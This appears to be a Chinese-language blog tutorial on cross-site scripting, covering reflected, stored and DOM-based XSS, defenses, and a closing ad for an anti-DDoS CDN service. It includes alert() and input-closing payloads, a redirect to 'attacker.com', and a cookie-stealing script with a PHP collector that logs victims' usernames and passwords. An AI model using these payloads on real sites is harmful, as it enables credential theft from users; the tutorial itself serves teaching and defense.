概述:
XSS攻擊是Web攻擊中最常見的攻擊方法之一,它是通過對網頁注入可執行代碼且成功地被瀏覽器 執行,達到攻擊的目的,形成了一次有效XSS攻擊,一旦攻擊成功,它可以獲取用戶的聯系人列 表,然后向聯系人發送虛假詐騙信息,可以刪除用戶的日志等等,有時候還和其他攻擊方式同時實 施比如SQL注入攻擊服務器和數據庫、Click劫持、相對鏈接劫持等實施釣魚,它帶來的危害是巨 大的,是web安全的頭號大敵。
什么是xss攻擊
xss攻擊全稱跨站腳本攻擊是一種在web應用中的計算機安全漏洞,它允許web用戶將代碼植入到提供給其他用戶使用的頁面中
攻擊的條件
實施xss攻擊必須具備兩個條件
一.需要向web頁面注入惡意代碼
二.這些惡意代碼能夠被瀏覽器成功的執行
xss攻擊的幾種方式
一.反射型xss,(非持久型)
當某個站點存在xss漏洞時,這種攻擊會通過url注入攻擊腳本,只有當用戶訪問這個url時才會執行攻擊腳本.
舉例案例:
@app.route('/hello1') def hello1(): name = request.args.get('name') response = '<h1>Hello, %s!</h1>' %name
這個視圖函數接收用戶通過查詢字符串(url后面的參數)傳入的數據,未做任何處理就把它直接插入到返回的響應主題中,返回給客戶端,如果用戶輸入一段js代碼作為查詢參數name的值:
http://127.0.0.1:5000/hello4?name=<script>alert('Bingo!')</script>
這時候客戶端收到的響應將變成下面的代碼
<h1>Hello,<script>alert(‘Gingo!’)</script>!</h1>
當客戶端收到響應后,瀏覽器解析這行代碼會打開一個彈窗下圖
firefox瀏覽器(55.0版本)上的響應
在chrome72.0版本上的響應
在IE11上的響應
結論:針對跨站攻擊,某些瀏覽器已經進行了安全防范.
重點說明:這里的案例只是一個簡單的彈窗,這里能執行彈窗代碼,說明任何js代碼都可以被執行,那么getCookie這些代碼就可以竊取用戶cookie和其他敏感數據,重定向到釣魚網站,發送其他請求,執行注入轉賬,發布廣告信息,在社交網站關注某個用戶等
如果網站A存在XSS漏洞,攻擊者將包含攻擊代碼的鏈接發送給網站A的用戶Foo,當Foo訪問這個鏈接時就會執行攻擊代碼,從而受到攻擊。
二.存儲型XSS(持久型)
存儲型XSS也被稱為持久型XSS(persistent XSS),這種類型的XSS攻擊更常見,危害也更大。它和反射型XSS類似,不過會把攻擊代碼存儲到數據庫中,任何用戶訪問包含攻擊代碼的頁面都會被殃及。
比如,某個網站通過表單接收用戶的留言,如果服務器接收數據后未經處理就存儲到數據庫中,那么用戶可以在留言中出入任意javaScript代碼。比如攻擊者在留言中加入一行重定向代碼:
<script>window.location.href=”http://attacker.com”;<script>
其他任意用戶一旦訪問關於這條留言的頁面,包含這條留言的數據就會被瀏覽器解析,就會執行其中的javaScript腳本。那么這個用戶所在頁面就會被重定向到攻擊者寫入的站點。
三.DOM-based 型
基於 DOM 的 XSS 攻擊是指通過惡意腳本修改頁面的 DOM 結構,是純粹發生在客戶端的攻擊。DOM 型 XSS 攻擊中,取出和執行惡意代碼由瀏覽器端完成,屬於前端 JavaScript 自身的安全漏洞
即使不插入js代碼,通過HTML和XSS注入也可以影響頁面正常的輸出,篡改頁面樣式,插入圖片等。
如何防御xss攻擊
1. 對輸入內容的特定字符進行編碼,例如表示 html標記的 < > 等符號。
2. 對重要的 cookie設置 httpOnly, 防止客戶端通過document.cookie讀取 cookie,此 HTTP頭由服務端設置。
3. 將不可信的值輸出 URL參數之前,進行 URLEncode操作,而對於從 URL參數中獲取值一定要進行格式檢測(比如你需要的時URL,就判讀是否滿足URL格式)。
4. 不要使用 Eval來解析並運行不確定的數據或代碼,對於 JSON解析請使用 JSON.parse() 方法。
5. 后端接口也應該要做到關鍵字符過濾的問題。
案例一:留言板的XSS攻擊
我們有個頁面用於允許用戶發表留言,然后在頁面底部顯示留言列表
因為我們完全信任了用戶輸入,但有些別有用心的用戶會像這樣的輸入
這樣無論是誰訪問這個頁面的時候控制台都會輸出“Hey you are a fool fish!”,如果這只是個惡意的小玩笑,有些人做的事情就不可愛了,有些用戶會利用這個漏洞竊取用戶信息、誘騙人打開惡意網站或者下載惡意程序等,看個最簡單的例子
利用xss竊取用戶名密碼
當然這個示例很簡單,幾乎攻擊不到任何網站,僅僅看看其原理。我們知道很多登陸界面都有記住用戶名、密碼的功能方便用戶下次登錄,有些網站是直接用明文記錄用戶名、密碼,惡意用戶注冊賬戶登錄后使用簡單工具查看cookie結構名稱后,如果網站有xss漏洞,那么簡單的利用jsonp就可以獲取其它用戶的用戶名、密碼了。
惡意用戶會這么輸入
我們看看http://test.com/hack.js里藏了什么
var username=CookieHelper.getCookie('username').value; var password=CookieHelper.getCookie('password').value; var script =document.createElement('script'); script.src='http://test.com/index.php?username='+username+'&password='+password; document.body.appendChild(script);
幾句簡單的javascript,獲取cookie中的用戶名密碼,利用jsonp把向http://test.com/index.php
發送了一個get請求
來看一下http://test.com/index.php中的內容
<?php if(!empty($_GET['password'])){ $username=$_GET['username']; $password=$_GET['password']; try{ $path=$_SERVER["DOCUMENT_ROOT"].'/password.txt'; $fp=fopen($path,'a'); flock($fp, LOCK_EX); fwrite($fp, "$username\t $password\r\n"); flock($fp, LOCK_UN); fclose($fp); }catch(Exception $e){ } } ?>
這樣惡意用戶就把訪問留言板的用戶的信息竊取了
案例二:輸入框的XSS攻擊
1、如果我直接在用戶名這里輸入<script>alert("1")</script>,然后輸入一個錯誤的密碼,並沒有執行script代碼,因為返回的html頁面是這樣的:
說白了就是自己拼接,將input標簽進行閉合,然后將script代碼綴在后邊。
通過用戶名的輸入,將input拼接成如下,即可實現script代碼的執行:
<input name="userName" class="textcss" id="userName" type="text" value="abc"/><script>alert("1")</script>"/>
為什么會執行?
可以將拼接后的input拆分看一下,就很明白了
<input name="userName" class="textcss" id="userName" type="text" value="abc"/>
<script>alert("1")</script>
"/>
因為input已經閉合了,所以script代碼會執行,至於拼接后的html文件是有語法錯誤的問題(因為最后剩下一個"/>,這個html是有錯誤的,但是不影響頁面展示和script代碼執行)就可以忽略了。
因此,只需要在用戶名那里輸入:
abc"/><script>alert("1")</script>
然后輸入一個錯誤的密碼,點擊登錄,就會執行script代碼,彈出彈框。
參考網站:
https://blog.csdn.net/qq_41725536/article/details/85722124
https://github.com/yvettelau/step-by-step/issues/18 跨站腳本攻擊XSS案例及其解決方案 (推薦)
結語:
如今,各種類型網絡攻擊日益頻繁,除了XSS攻擊之外,比較常見的網絡攻擊類型還包括DDoS攻擊、CC攻擊等,它們非常難以防御,除了需要做好日常網絡安全防護之外,還需要接入高防服務,可以接入天下數據高防cdn,通過天下數據高防cdn隱藏源IP,對攻擊流量進行清洗,保障企業網絡及業務的正常運行。